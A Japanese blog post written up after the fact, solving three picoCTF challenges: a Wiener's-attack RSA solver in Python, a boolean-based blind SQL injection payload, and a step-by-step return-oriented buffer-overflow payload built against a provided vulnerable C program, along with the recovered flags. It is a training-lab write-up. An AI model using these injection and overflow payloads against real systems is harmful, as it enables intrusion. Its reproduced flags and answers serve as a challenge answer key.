picoCTF - Writeup(遅遅の遅)

つらい実験科目によってほとんどフリータイムがない中,picoCTFのWriteupを(今頃)書きました.内容は以下に示す3問のみです.
・Super Safe RSA 2
・A Simple Question
・rop chain

Super Safe RSA 2

公開鍵(e, n)と暗号文cが渡されますが,せいぜい65537程度の大きさであるeの値がべらぼうにでかいので,Wiener's Attackが使えます.いやぁ~,自分で一回実装しといてよかった,と思った一問でした(自分語り).
クソコードをのっけます.こいつは来年の春にでもきれいにできれば,と思っています.

import math

#--------PLEASE SET (e, n)--------
def set_values():
    e = 166469415374069307881604324436342677840204259559951383103458348696214353018185580067127805885715702582826742952855206035850607388392166614056495391290151746650424386583535774622709912504383483742572448337565274948581041550819383283860203664028306185265859707368577879926514232681259612579344391833668817270913
    n = 167818890560996465630467660522759422821311591428711487378116440524593140343836769125663052058639440088766593645612546346278130386295299544461168104275998718733123494540156011937404481135312366524773575109469754297864828333733123922028880567126525579171598321755189056067313592155802703541501512699223753527743
    return e, n
#--------------------------------------

def fix_den(m, num, den):
    return m * den + num, den

def convert_to_a_fraction(cf):
    index = len(cf) - 1
    num = cf[index - 1]
    
    num, den = fix_den(cf[index - 1], 1, cf[index])
    index -= 1
    
    while True:
        if index == 0:
            return num, den
        else:
            num, den = fix_den(cf[index - 1], den, num)
            index -= 1

'''
This function returns
{int(sqrt(num)) ---if num is a square number.
{-1 ---------------if num is not a square number.
'''
def calcSquare(num):

    if num<0:
        return -1

    maximumbase=1

    while maximumbase<=num:
        maximumbase*=10

    answer=0
    success_flag=False

    while maximumbase>=1:
        maximumbase//=2
        square=pow(answer, 2)

        if square==num:
            success_flag=True
            break
        elif square<num:
            answer+=maximumbase
        else:
            answer-=maximumbase
            
    if success_flag:
        return answer
    else:
        return -1



def is_square(num):

    a = 1
    exp = 0
    
    while a < num:
        a *= 4
        exp += 1
    
    answer = pow(2, exp)
    dist = answer // 2
    
    while True:
        
        num_2 = answer * answer
        
        if num_2 == num:
            return True, answer
        elif num_2 < num:
            answer += dist
        else:
            answer -= dist
        
        if dist==0:
            if num_2 > num:
                return False, answer
            else:
                return False, answer+1
        
        dist //= 2




def main():
    e, n = set_values();
    
    success_flag=False

    cf=[]
    k=e
    d=n
    cf.append(e//n)
    
    while True:
        tmp=d
        d=k%d
        k=tmp
        
        cf.append(k//d)
        
        num, den = convert_to_a_fraction(cf)

        if (e * den - 1)%num==0:
            
            phaiN=(e*den - 1)//num
            b=n-phaiN+1
            c=n
            
            #sqrt(b^2-4ac)
            rt2 = pow(b, 2) - 4 * c
            flag, rt = is_square(rt2)
            if rt2 > 0 and flag == True:
                
                #解p,qは整数か
                if b % 2 == rt % 2:
                    p=(b + rt) // 2
                    q=(b - rt) // 2
                    
                    print("p=")
                    print(p)
                    print("q=")
                    print(q)
                    success_flag = True
                    break

        if num == e and den == n:
            break

    if success_flag == False:
        print("failed...")

if __name__ == "__main__":
    main()

この結果,pとqは以下のように求まります.

p=
13187791611843376794443813417505164905719902975940204994951353780300053316986286058129548697178236289057253045681561721903633315886536681830716299905580769
q=
12725321683903898367448235894643841040653555869947621697905115020959136660923216347010267828363037006731940776069218036492902863509365802709092550777996447

これにより復号を行うと,平文mは16進数で,

7069636f4354467b77407463685f793075725f5870306e336e74245f6340723366753131795f303532353436357d

となり,これをASCIIコードに直すと,
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_0525465}
となります.

A Simple Question (650pt)

650ptだがサービスなSQLiの問題.フォームに何かを入力するとそれに応じて"You are so close."あるいは"Wrong."のYes/No的な返答が返ってくるのでBoolean-based blind SQLiを疑います.ご丁寧にも「SELECT * FROM answers WHERE answer='(フォームに打ち込んだ文字列)'」がクエリになっていることが示されているので,たとえば次のような文字列を入力すると,answerの2文字目のASCIIコード値が文字XのASCIIコード値より大きいかについて調べられます.
「' or SUBSTR(answer,2)>'X';--」
したがって,これとASCIIコード表を併用すれば,n文字目の文字が何であるか,二分探索により調べることができます.僕にはコーディング能力がないので,手動でこれを何回も行いました.疲れました.もしかしたら,pythonでクエリを送ってレスポンスから自動的に二分探索していく,ということができたかもしれません.
上記の入力をしているうちに,x文字目がすべての印字可能な文字のASCIIコードよりも小さくなります.それが文字列answerの終端です.
結果,answerの正体は,文字列"41AndSixSixths"でした.これを直接フォームに入力すると,フラグが得られます.
f:id:verliezer93764:20181026062100j:plain

rop chain

次のようなプログラムが渡されます.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define BUFSIZE 16

bool win1 = false;
bool win2 = false;


void win_function1() {
  win1 = true;
}

void win_function2(unsigned int arg_check1) {
  if (win1 && arg_check1 == 0xBAAAAAAD) {
    win2 = true;
  }
  else if (win1) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void flag(unsigned int arg_check2) {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
    printf("%s", flag);
    return;
  }
  else if (win1 && win2) {
    printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
  }
  else if (win1 || win2) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

この問題を解くには,次の手順が必要です.
1.vulnでBOFを起こす
2.サブルーチンwin_function1に入ってwin1をtrueにする
3.引数に0xBAAAAAADを指定しながら,サブルーチンwin_function2に入ってwin2をtrueにする
4.引数に0xDEADBAADを指定しながら,サブルーチンflagに入ってフラグを表示させる

まず,win_function1の先頭アドレスは0x080485cbなので,1と2を行うためには,bofを以下のように実行して,バッファを埋めてリターンアドレスをwin_function1の先頭アドレス0x080485cbに書き換えます.(実行はまだしないでください)

python -c 'print("A"*28+"\xcb\x85\x04\x08")' | ./rop

次に,3を起こすことを考えます.まずは,サブルーチンwin_function1からret命令により移動するリターンアドレスをwin_function2の先頭アドレス0x080485d8に書き換えます.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08")' | ./rop

また,今回は引数として0xBAAAAAADを与える必要があります.そこで,引数はどのアドレスに入るかをIDAから見ることにします.次の図が,IDA上でみたwin_function2の一部です.
f:id:verliezer93764:20181026192543j:plain
これを見ると,$esp+8というアドレス以降に格納されている値と0xBAAAAAADを比較し,等しければwin1が1すなわちtrueになることがわかります.ebpにespを代入している時点で,espの値(指しているアドレス)は"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"のうち"\xd8"のアドレスになります.したがって,これから8大きいアドレスに0xBAAAAAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba")' | ./rop

最後に,4を起こすことを考えます.まずは,サブルーチンwin_function2からret命令により移動するリターンアドレスをflagの先頭アドレス0x0804862Bに書き換えます.ret命令でpopされてeipに入るのは"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"A"*4+"\xad\xaa\xaa\xba"のうち"A"*4の部分なので,ここを"\x2b\x86\x04\x08"にします.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba")' | ./rop

また,今回は引数として0xDEADBAADを与える必要があります.しかし,先ほどと同様に,"A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"の"\x2b"が入るアドレスより8大きいアドレスに0xDEADBAADを入れてやればいいことになります.

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

したがって,問題サーバ上で

python -c 'print("A"*28+"\xcb\x85\x04\x08"+"\xd8\x85\x04\x08"+"\x2b\x86\x04\x08"+"\xad\xaa\xaa\xba"+"\xad\xba\xad\xde")' | ./rop

を打ち込めば,フラグを表示してくれます.
f:id:verliezer93764:20181026183205j:plain